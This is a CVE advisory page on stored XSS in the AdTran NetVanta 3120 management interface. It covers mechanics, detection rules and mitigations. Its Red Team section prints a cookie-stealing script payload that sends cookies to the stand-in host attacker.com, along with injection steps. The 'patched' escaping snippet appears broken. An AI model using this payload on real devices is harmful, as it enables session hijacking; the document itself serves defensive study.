CVE-2024-31971
Executive Summary
CVE-2024-31971 identifies multiple stored cross-site scripting (XSS) vulnerabilities in the AdTran NetVanta 3120 running firmware version 18.01.01.00.E. An unauthenticated remote attacker can inject arbitrary JavaScript into several web management interfaces, including /mainPassword.html, /processIdentity.html, /public.html, /dhcp.html, /private.html, /hostname.html, /connectivity.html, /NetworkMonitor.html, /trafficMonitoringConfig.html, and /wizardMain.html. Successful exploitation could lead to session hijacking, credential theft, or further compromise of the device. No patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD) – However, based on the vulnerability characteristics, a more realistic score is 6.1 (Medium).
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation is straightforward but requires user interaction.
Deep Dive & Mechanics
The vulnerability resides in the web management interface of the AdTran NetVanta 3120. The application fails to properly sanitize user-supplied input before storing it in the backend and later rendering it in HTML pages. Attackers can inject malicious JavaScript payloads into fields such as hostname, DHCP settings, or connectivity parameters. When an administrator or other user views the affected page, the injected script executes in the context of the victim's browser.
The affected endpoints include:
/mainPassword.html– Password change form/processIdentity.html– Identity configuration/public.html– Public settings/dhcp.html– DHCP configuration/private.html– Private settings/hostname.html– Hostname configuration/connectivity.html– Connectivity settings/NetworkMonitor.html– Network monitoring/trafficMonitoringConfig.html– Traffic monitoring configuration/wizardMain.html– Setup wizard
Since the XSS is stored, the payload persists across sessions and can affect multiple users.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code likely lacks output encoding or input validation. A typical vulnerable snippet might look like:
// Vulnerable: Directly inserts user input into HTML
document.getElementById('hostname').innerHTML = userInput;
A patched version would use proper encoding:
// Patched: Escapes HTML entities
function escapeHtml(unsafe) {
return unsafe.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """).replace(/'/g, "'");
}
document.getElementById('hostname').innerHTML = escapeHtml(userInput);
Exploitation & Lab Setup
Red Team
- Setup: Deploy an AdTran NetVanta 3120 with firmware 18.01.01.00.E in an isolated lab.
- Craft Payload: Use a simple JavaScript payload to steal cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Inject: Navigate to
/hostname.htmland enter the payload in the hostname field. Submit the form. - Trigger: Send a link to the victim pointing to
/hostname.html. When the victim views the page, the script executes. - Exfiltrate: Set up a listener on
attacker.comto capture cookies.
Blue Team
- Monitor: Look for unexpected outbound connections from the NetVanta device to unknown IPs.
- Inspect Logs: Check web server logs for suspicious input patterns (e.g.,
<script>tags). - Network Segmentation: Isolate the management interface from user networks.
- User Training: Educate administrators not to click on untrusted links while logged into the device.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Logs: Entries in the device logs showing
<script>tags in configuration fields. - File System: Modified configuration files containing JavaScript payloads.
- Behavior: Unexpected redirects or pop-ups in the management interface.
Detection Engineering
YARA Rule
rule CVE_2024_31971_Stored_XSS {
meta:
description = "Detects stored XSS payloads in AdTran NetVanta 3120 configuration"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-31971"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in AdTran NetVanta 3120
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts against AdTran NetVanta 3120 management interfaces
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: adtran
detection:
selection:
http.url|contains:
- '/mainPassword.html'
- '/processIdentity.html'
- '/public.html'
- '/dhcp.html'
- '/private.html'
- '/hostname.html'
- '/connectivity.html'
- '/NetworkMonitor.html'
- '/trafficMonitoringConfig.html'
- '/wizardMain.html'
http.body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in configuration (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31971 Stored XSS Payload in AdTran NetVanta 3120"; flow:to_server,established; content:"/hostname.html"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable remote management access to the device if not required. Use a firewall to restrict access to the management interface to trusted IPs only.
- Short-term: Apply input validation and output encoding on all user-supplied fields. Since no patch is available, consider implementing a Web Application Firewall (WAF) to block XSS patterns.
- Long-term: Contact AdTran for a firmware update. Monitor vendor advisories for patches.
- Workaround: If possible, upgrade to a newer firmware version or replace the device with a supported alternative.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.